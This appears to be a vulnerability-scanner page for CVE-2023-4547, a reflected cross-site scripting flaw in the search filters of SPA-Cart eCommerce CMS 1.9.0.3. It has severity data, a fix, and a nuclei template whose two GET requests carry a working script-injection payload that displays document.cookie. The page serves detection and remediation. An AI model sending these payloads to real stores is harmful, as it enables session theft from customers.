SPA-Cart eCommerce CMS 1.9.0.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

60.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in SPA-Cart eCommerce CMS 1.9.0.3. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /search. The manipulation of the argument filter[brandid]/filter[price] leads to cross site scripting. The attack may be launched remotely. VDB-238058 is the identifier assigned to this vulnerability.

Impact

Unauthenticated attackers can inject malicious JavaScript through search filter parameters, potentially stealing customer session cookies and payment information from the eCommerce platform.

Fix

Update SPA-Cart eCommerce CMS to a version newer than 1.9.0.3 that properly sanitizes filter parameters in the search functionality.

How to confirm it

Send: GET {{BaseURL}}/search?filtered=1&q=test&filter[price]=100-1331"><script>alert(document.cookie)</script>&filter[attr][Memory][]=16+GB ; GET {{BaseURL}}/search?filter[brandid]=vnxjb"><script>alert(document.cookie)</script>bvu51
Positive when: contains "100-1331\"><script>alert(document.cookie)</script>" or "><script>alert(document.cookie)</script>bvu51" AND contains "<table class=\"products-nav\">" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4547 -u <target>

The full check

id: CVE-2023-4547

info:
  name: SPA-Cart eCommerce CMS 1.9.0.3 - Cross-Site Scripting
  author: theamanrawat,SoSpiRo
  severity: medium
  description: |
    A vulnerability was found in SPA-Cart eCommerce CMS 1.9.0.3. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /search. The manipulation of the argument filter[brandid]/filter[price] leads to cross site scripting. The attack may be launched remotely. VDB-238058 is the identifier assigned to this vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through search filter parameters, potentially stealing customer session cookies and payment information from the eCommerce platform.
  remediation: |
    Update SPA-Cart eCommerce CMS to a version newer than 1.9.0.3 that properly sanitizes filter parameters in the search functionality.
  reference:
    - https://spa-cart.com
    - https://cxsecurity.com/ascii/WLB-2023080090
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4547
    - https://vuldb.com/?ctiid.238058
    - https://vuldb.com/?id.238058
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4547
    cwe-id: CWE-79
    epss-score: 0.6034
    epss-percentile: 0.99148
    cpe: cpe:2.3:a:spa-cart:ecommerce_cms:1.9.0.3:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: spa-cart
    product: ecommerce_cms
  tags: cve,cve2023,spa-cart,unauth,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?filtered=1&q=test&filter[price]=100-1331"><script>alert(document.cookie)</script>&filter[attr][Memory][]=16+GB'
      - '{{BaseURL}}/search?filter[brandid]=vnxjb"><script>alert(document.cookie)</script>bvu51'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '100-1331"><script>alert(document.cookie)</script>'
          - '><script>alert(document.cookie)</script>bvu51'
        condition: or

      - type: word
        part: body
        words:
          - '<table class="products-nav">'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from